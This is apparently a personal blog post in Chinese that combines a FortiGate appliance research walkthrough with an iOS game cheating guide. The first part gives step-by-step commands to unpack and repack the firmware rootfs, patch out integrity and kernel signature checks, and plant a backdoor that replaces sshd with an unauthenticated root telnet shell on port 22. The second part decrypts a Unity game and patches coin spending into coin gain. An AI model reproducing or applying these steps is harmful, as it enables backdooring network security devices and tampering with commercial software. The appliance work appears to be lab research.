最近突然想分享几篇好玩的文章，尝试在csdn中发布（涂省事），但频繁提示我审核失败最终选择重新开一下博客，后续不定期更新😆😆😆

历史博客

有几篇还不错的历史文章，但因为原文.md丢失的原因在这里贴一下之前发布的链接

ios逆向入门笔记（详细到哭）

Reveal调试笔记

ios逆向入门笔记-HOOK-QQ登录

gzip -d rootfs.gzsudo cpio -idmv < ./rootfssudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xzsudo chroot . /sbin/ftar -xf /bin.tar

Patch init 文件

文件所在位置 /bin/init ,注意这个是解包后才能拿到的文件

patch 位置在 0x04518E5

将jnz loc_451BB4 改为 jz loc_451BB4

下图是 patch 后的

伪代码

另外一处也需要 patch

修改前

修改后

导出后替换原来的./bin/init 文件

Patch shell

1. 下载编译 busybox

下载地址：https://busybox.net/downloads/

1. 预编译配置

make menuconfig

1. 修改配置信息

• Build Options —> 选择[*] Build Busybox as a static binary（no shared libs）
• 去掉 Coreutils—>sync 选项

1. 编译

make make install

编译成功 busybox 文件会在 ./_install/bin/busybox

1. 复制 busybox 到 rootfs 的/bin 目录下

cp ../busybox/busybox-1.35.0/_install/bin/busybox ./bin/chmod 777 ./bin/busybox

1. 删除原 sh 软链并创建 busybox 软链

rm -rf ./bin/shls -n /bin/busybox sh

后门制作

编译一段命令执行的 elf 文件，采用静态链接,这里最好使用 system 而不是 execv，因为 system 会附加 init 后的环境，execv 不会。前两条用于测试 busybox 是否正常，后一条用于添加个 shell

#include <stdio.h>int tcp_port = 22;char *ip = "192.168.109.143";void shell(){                        system("/bin/busybox ls", 0, 0);        system("/bin/busybox id", 0, 0);        system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0);        return;}int main(int argc, char const *argv[]){        shell();        return 0;}

编译

gcc -g shell.c -static -o shell

打包

sudo chroot . /sbin/ftar -cf bin.tar ./binsudo chroot . /sbin/xz --check=sha256 -e bin.tarsu rootfind . -path './bin' -prune -o -print |cpio -H newc -o > ../make/rootfs.rawcd ../makecat rootfs.raw | gzip > rootfs.gz

替换

使用新虚拟机挂载当前 fortigate 的虚拟磁盘，添加->现有虚拟磁盘。

启动该虚拟机后，搜索应用 disk，选择对应大小的虚拟机磁盘，这里是 2G 的，然后选择启动挂载

替换 rootfs.gz 文件

sudo sucp path/to/rootfs.gz ./

关闭挂载或者挂起虚拟机

GDB 内核 Patch

绕过 fgt_verify，需要绕过下方跳转 jnz，可以在此处下断点并修改 rax=0 绕过

配置 vm 调试利用VMware获取shell

gdbpwndbg> file /home/ios/Fortigate/vmlinuz_elfpwndbg> b*0xFFFFFFFF807AC11Cpwndbg> target remote 192.168.109.1:12345pwndbg> c

这里讲解一个技巧：什么时候执行 target remote 192.168.109.1:12345 下断，由于我们要 patch 的是 vmlinuz 中的验证，所以需要在屏幕输出 Bootting the kernel 后 1-2 秒再执行，如下图

触发断点

修改 rax=0

set $rax=0

测试能成功运行启动

运行到 shell

登录到 cli，执行 diag hardware smartctl

查看结果

尝试用 telnet 连接后门，注意端口是 22！！！！需要指定一下端口

telnet 192.168.109.111 22

这里的 ip 是在 cli 中配置后的，可以参考基础配置文章

注意：获取 shell 后还需要借助 busybox 来执行其他命令，如图，直接执行会找不到软链

遇到问题

EDD：Error 0400 reading sector

造成原因

使用 windows 下的 diskgenius 替换 rootfs 导致

解决方法

使用另一台 linux 虚拟机 挂载虚拟磁盘，并复制进去

偶尔出现 cpio 打包 blocks 打包前后不相同的问题

同上 该问题会导致虚拟机启动后 无任何提示 无限重启

造成原因

在 vmlinuz 中存在一处 fgtsum 校验,具体位置在 0xFFFFFFFF807AC117 。

解决方法

在 0xFFFFFFFF807AC117 处下断，用 gdb 修改 eax 值为 0，即可绕过验证

方式一

对于 vmdk 没有加密的虚拟设备来说，可以直接通过挂载磁盘的方式提取出 vmlinuz 文件，但是要注意磁盘中的内核文件命名可能不同！！！

使用 DiskGenius 挂载虚拟磁盘，通过寻找 vmlinuz 文件的特征信息来确定具体文件

一般情况 vmlinuz 文件头部 会含有上图中的字符串信息，或者通过头标识符也可以判断文件，所以 flatkc 就是该环境中的 vmlinuz 文件，右键导出即可。

使用工具 vmlinux-to-elf 可以将内核文件转换为 elf 文件，方便我们接下来的逆向分析。

注意：请不要用该方法得到的 rootfs.gz 直接解压使用，否则后期打包时会出现问题！！！

方式二

将虚拟磁盘挂载到其他虚拟机中，并启动虚拟机

搜索并打开 disk 应用

找到新添加的硬盘后，点击启动按钮，接着硬盘会被挂载，进而得到 rootfs 和 vmlinuz

寻找断点函数

加载 vmlinux_elf 文件到 ida 中进行分析。

通常 vmlinuz 初始化流程中最后一步，内核会执行 init_post 函数。其中在该函数中最终会执行/sbin/init。

记录该函数地址 FFFFFFFF807AC0E9 ,为了接下来调试做准备

配置 vm 调试信息

debugStub.listen.guest64 = "TRUE"debugStub.listen.guest64.remote = "TRUE"debugStub.port.guest64 = "12345"debugStub.listen.guest32 = "TRUE"debugStub.listen.guest32.remote = "TRUE"debugStub.port.guest32 = "12346"

版本：1.2.4
设备：xsmax
游戏环境：Unity

游戏玩法

看着他挖，但是你需要钱去升级设备、场子等等，总之有钱！这个游戏就是你的天下！！！

游戏不需要额外充钱，但是会一直有广告

逆向过程

砸壳

获取未加密APP

砸壳环境

1. 实体机 xsmax 系统版本 14.8 已经越狱
2. Mac os 环境 需要装usbmuxd，Windows 下没找到能解决该问题的方法
3. 均安装 frida 同一版本就行
4. Frida-ios-dump

开始砸壳

1. 确保 frida 能正常连通

使用 usb 连接手机设备，使用命令 frida-ps -U 该命令用于查看 USB 连接设备当前运行的进程。

待补充图

1. 使用 iproxy 命令转发 22 端口，iproxy 2222 22

1. 修改 Frida-ios-dump 脚本中的 root 密码
2. 输入命令 python dump.py -l 列出当前设备中的应用程序

1. 输入命令 python dump.py com.mojike.digearth ，开始砸壳

解包分析

复制 dump 中的 ipa 文件到 Windows 下，进行下一步分析。

首先重命名.ipa 为.zip 并解压

简单说明一下重要的目录结构，该游戏是 Unity 开发。

Data 目录

data.unity3d 文件是游戏的资源文件，可以通过 AssetStudio.net6 或者 AssetRipper_win_x64 进行查看或者分析

RaW 文件夹里面放着一些分享时的图片资源

Managed 文件夹放着 ll2cpp 生成后的文件 非常重要！！！

mono 放着数据库相关文件

Frameworks 目录

UnityFramework.framework 里面放着游戏编译后的 object-c 程序 很重要

KSAdSDK.framework 广告框架，没有详细 研究

TTNetworkManager.framework 网络相关，没有详细研究

ll2cpp 反编译

利用 Il2CppDumper-net6-v6.7.25 进行反编译

可执行文件位置

符号表数据位置 global-metadata.dat

反编译后的数据信息

其中 stringliteral.json 是字符串表信息，包含着游戏字符串和对应偏移地址，il2cpp.h 是 object-c 的结构体信息

dump.cs 是.net 反编译后的源码信息，DummyDll 中包含的是提取出来的所有游戏 DLL 信息与 dump.cs 内容一致。

逆向分析主程序

首先通过 ida 打开程序

接着利用脚本导入之前得到的 il2cpp.h 文件，和字符串文件信息

这几个都可以导入，等待 20-30 分钟（函数量非常大！！）

接着就能看到 字符串已经可以分析出来了，函数名称也已经恢复，接着通过字符串文件，搜索我们的需求 `钱！！！！

通过关键字 money 、coin 搜索到一个关键信息

ida 中输入 g，复制地址跳转

发现有几个函数引用了该字符串，get_GameCoin、set_GameCoin，因为目的是要改钱，所以 set 对我们更重要

根据 value 进行设置，看看哪里用了 set

发现有 CostCoin 函数和 AddCoin 函数都用到了该函数，所以这里有两种改法，一个是修改 AddCoin 时设置钱的数量，一个是修改花费时不扣钱。

可以看到增加钱的逻辑，是查询现有的钱然后加上获得的钱，这里修改的话就会造成一个问题！！！初始化的时候钱为 0.不太好改动，所以我打算改动了花费处

可以看到，我把花费时应该-coin 的位置改成了 +coin，这样的话每次花钱都会价钱，达到了一个修改金钱的目的

改法比较简单，把原本 FSUB 改成 FADD 就可以了，除了钱还有个新出的模式 月球模式

这个也是一种钞票，我们用同样的方式进行逆向

又看到熟悉的 ADD 和 Cost，同样减改成加

改法相同 FSUB 改成 FADD

打包重签名

这个过程方法有太多太多，这里为了能尽快玩上游戏，我们就走最朴实无华的路线。

首先将 patched 后的游戏文件替换掉原本的文件

把该文件复制到对应位置，并且进入这个位置，右键压缩文件

压缩后，重命名 Payload.zip 为 Payload.ipa

打开爱思助手！！！，使用里面的签名工具

签名完成后，就能安装使用了

安装即可

逆向相关文件下载

链接：https://pan.baidu.com/s/1gX0Z069Wft1Q_NbdaKrhxQ?pwd=799v
提取码：799v